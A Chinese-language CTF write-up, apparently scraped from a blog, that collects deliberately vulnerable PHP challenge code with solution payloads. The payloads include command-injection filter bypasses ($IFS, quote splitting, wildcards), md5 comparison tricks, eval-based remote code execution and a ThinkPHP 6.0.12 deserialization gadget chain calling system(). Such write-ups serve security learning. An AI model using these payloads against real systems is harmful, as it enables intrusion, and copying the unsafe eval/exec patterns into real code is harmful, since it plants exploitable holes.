赞
踩
- <?php
- highlight_file(__FILE__);
- if(isset($_GET['url']))
- {
- $url=$_GET['url'];
- if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
- {
- echo "Sorry,you can't use this.";
- }
- else
- {
- echo "Can you see anything?";
- exec($url);
- }
- }
- ?url=l''s |tee 1.txt
- ?url=l's' | tee 1.txt
- ?url=l``s |tee 1.txt
- ?url=l\s |tee 1.txt
- ?url=dir |tee 1.txt
- ?url=find |tee 1.txt
?url=l''s / |tee 1.txt
- ?url=c''at /flllll''aaaaaaggggggg|tee 1.txt
- ?url=tac /flllll?????????????|tee 1.txt
- ?url=nl /flllll?????????????|tee 1.txt
- ?url=sort /flllll?????????????|tee 1.txt
- ?url=head /flllll?????????????|tee 1.txt
- ?url=tail /flllll?????????????|tee 1.txt
- ?url=tailf /flllll?????????????|tee 1.txt
$IFS$9代替空格
-
- <?php
- if(isset($_GET['ip'])){
- $ip = $_GET['ip'];
- if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
- print_r($match);
- print($ip);
- echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
- die("fxck your symbol!");
- }
- else if(preg_match("/ /", $ip)){
- die("fxck your space!");
- }
- else if(preg_match("/bash/", $ip)){
- die("fxck your bash!");
- }
- else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
- die("fxck your flag!");
- }
- $a = shell_exec("ping -c 4 ".$ip);
- echo "<pre>";
- print_r($a);
- }
-
- ?>
;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
- <?php
- include 'utils.php';
-
- if (isset($_POST['guess'])) {
- $guess = (string) $_POST['guess'];
- if ($guess === $secret) {
- $message = 'Congratulations! The flag is: ' . $flag;
- } else {
- $message = 'Wrong. Try Again';
- }
- }
-
- if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
- exit("hacker :)");
- }
-
- if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
- exit("hacker :)");
- }
-
- if (isset($_GET['show_source'])) {
- highlight_file(basename($_SERVER['PHP_SELF']));
- exit();
- }else{
- show_source(__FILE__);
- }
- ?>
利用最后一个判断的highlight_file函数显示utils.php
$_SERVER['PHP_SELF']
127.0.0.1/index.php/utils.php?a=1 /index.php/utils.php
$_SERVER['REQUEST_URI']
127.0.0.1/index.php/utils.php?a=1 /index.php/utils.php?a=1
basename /index.php/utils.php utils.php
/index.php/utils.php/%ff?%73how_source=1
- <?php
- highlight_file(__FILE__);
- include_once('flag.php');
- if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
- if(isset($_POST['b1'])&&$_POST['b2']){
- if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
- if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
- echo $flag;
- }else{
- echo "yee";
- }
- }else{
- echo "nop";
- }
- }else{
- echo "go on";
- }
- }else{
- echo "let's get some php";
- }
- ?>
a[]=1&b1[]=2&b2[]=1&c1=240610708&c2=QNKCDZO
vim -r .index.php.swp
- <html>
- <head>
- <meta charset="UTF-8">
- <style type="text/css">
- body,
- html {
- display: flex;
- align-items: center;
- justify-content: center;
- }
-
- div.vim {
- display: flex;
- align-content: center;
- vertical-align: middle;
- justify-content: center;
- }
-
- img {
- border: none;
- width: 8rem;
- height: auto;
- }
-
- h1.vim_yyds {
- color: #50f728;
- display: flex;
- align-items: flex-start;
- justify-content: center;
- margin-top: 50;
- margin-left: 5px;
- }
-
- h3.vim_said {
- color: #39c2ff;
- display: flex;
- justify-content: center;
- align-items: center;
- }
-
- br,
- p {
- font-size: 20;
- }
- </style>
- </head>
-
- <body>
- <main>
- <div class="vim">
- <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
- <h1 class="vim_yyds">
- Vim yyds
- </h1>
- </div>
- <h3 class="vim_said">
- 队里师傅说Vim是世界上最好的编辑器,不接受反驳
- </h3>
- <div class="can_can_vim">
- <?php
- error_reporting(0);
- $password = "Give_Me_Your_Flag";
- echo "<p>can can need Vim </p>";
- if ($_POST['password'] === base64_encode($password)) {
- echo "<p>Oh You got my password!</p>";
- eval(system($_POST['cmd']));
- }
- ?>
- </div>
- </main>
- </body>
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
- <?php
- ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
- if(isset($_GET['code'])){
- $code=$_GET['code'];
- if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
- echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
- eval($code);
- }
- else{
- die("你想干什么?????????");
- }
- }
- else{
- echo "居然都不输入参数,可恶!!!!!!!!!";
- show_source(__FILE__);
- }
?code=var_dump(`nl%20/f????????????????`);
?code=print`c\at /fffffffffflagafag`;
- <?php
- error_reporting(0);
- //hint: 与get相似的另一种请求协议是什么呢
- include("flag.php");
- class nss{
- static function ctf(){
- include("./hint2.php");
- }
- }
- if(isset($_GET['p'])){
- if (preg_match("/n|c/m",$_GET['p'], $matches))
- die("no");
- call_user_func($_GET['p']);
- }else{
- highlight_file(__FILE__);
- }
Nss::Ctf
Nss2::Ctf
- 弱比较情况下(即你看到的"=="):
-
- 一般这种情况下的md5绕过是传入0e开头的md5值或者数组,因为在弱比较时,会把非同类型类型转换为同类型进行比较,在字符串类型下弱比较中会截取一个字符串前面的数字,直到遇到字符截止,对于0e+数字的值只会截取e之前的0,当然你用什么123a=123b也是可以绕过
-
- 所以等号两边同传0e开头时,在弱比较时候就变成了0=0
-
- 数组绕过原理是因为两边都是数组,在转换时候为false,false=false所以绕过,当然这里强比较也可以用数组绕过,大家可以思考一下0e开头和123a这种方式在什么时候能绕过强比较或者根本不能绕过。
-
- 话说回来,这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,这里就是gank数组绕过和123a的。
-
- 所以我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a
-
- payload=?web=0e215962017 作者:很菜的wl https://www.bilibili.com/read/cv19260410/ 出处:bilibili
robots.txt
F1l1l1l1l1lag.php
-
- <?php
- error_reporting(0);
-
- highlight_file(__FILE__);
-
- if (isset($_GET['get'])){
- $get=$_GET['get'];
- if(!strstr($get," ")){
- $get = str_ireplace("flag", " ", $get);
-
- if (strlen($get)>18){
- die("This is too long.");
- }
-
- else{
- eval($get);
- }
- }else {
- die("nonono");
- }
-
- }
-
- ?>
- 1. 利用绝对路径前面的"/"分隔 Cat$IFS/flag.php
- 2. 利用通配符“?”分隔 ???在linux里面可以进行代替字母
-
- *在linux里面可以进行模糊匹配 Cat$IFS?lag.php
-
- 3.利用“${}”分隔Cat${IFS}flag.php
-
- 4.可以创建自定义变量 a=参数;命令$IFS$a Cat$IFS$aflag.php
- 5.未过滤"0~9"、"@"、"*"命令$IFS$[上述的任意一个数字/字符]参数
-
- 通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令
-
- 格式:cat<fileName cat<>flag.txt
-
- 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
-
- 其他绕过方式:制表符"%09"、“%0a” 制表符\t
- 如果你还能在群里找到文件,那你可以去翻来看看
-
- 至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配
-
- 而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种
-
- 最终payload:?get=system("nl%09/*"); or ?get=system("nl\t/*");
-
- 当然其他能绕过方式也行,这里只是一个参考。 作者:很菜的wl https://www.bilibili.com/read/cv19260410/ 出处:bilibili
.git泄露获取index.php源代码
- <?php
- include "flag.php";
- echo "flag在哪里呢?<br>";
- if(isset($_GET['exp'])){
- if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
- if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
- if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
- // echo $_GET['exp'];
- @eval($_GET['exp']);
- }
- else{
- die("还差一点哦!");
- }
- }
- else{
- die("再好好想想!");
- }
- }
- else{
- die("还想读flag,臭弟弟!");
- }
- }
- // highlight_file(__FILE__);
- ?>
?exp=show_source(session_id(session_start()));
Cookie: PHPSESSID=flag.php
反序列化漏洞
www.zip下载源码
exp
[代码审计] ThinkPHP V6.0.12LTS 反序列化漏洞-CSDN博客
- <?php
-
- // 保证命名空间的一致
- namespace think {
- // Model需要是抽象类
- abstract class Model {
- // 需要用到的关键字
- private $lazySave = false;
- private $data = [];
- private $exists = false;
- protected $table;
- private $withAttr = [];
- protected $json = [];
- protected $jsonAssoc = false;
-
- // 初始化
- public function __construct($obj='') {
- $this->lazySave = true;
- $this->data = ['whoami'=>['cat /nssctfflag']];
- $this->exists = true;
- $this->table = $obj; // 触发__toString
- $this->withAttr = ['whoami'=>['system']];
- $this->json = ['whoami'];
- $this->jsonAssoc = true;
- }
- }
- }
-
- namespace think\model {
- use think\Model;
- class Pivot extends Model {
-
- }
-
- // 实例化
- $p = new Pivot(new Pivot());
- echo urlencode(serialize($p));
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。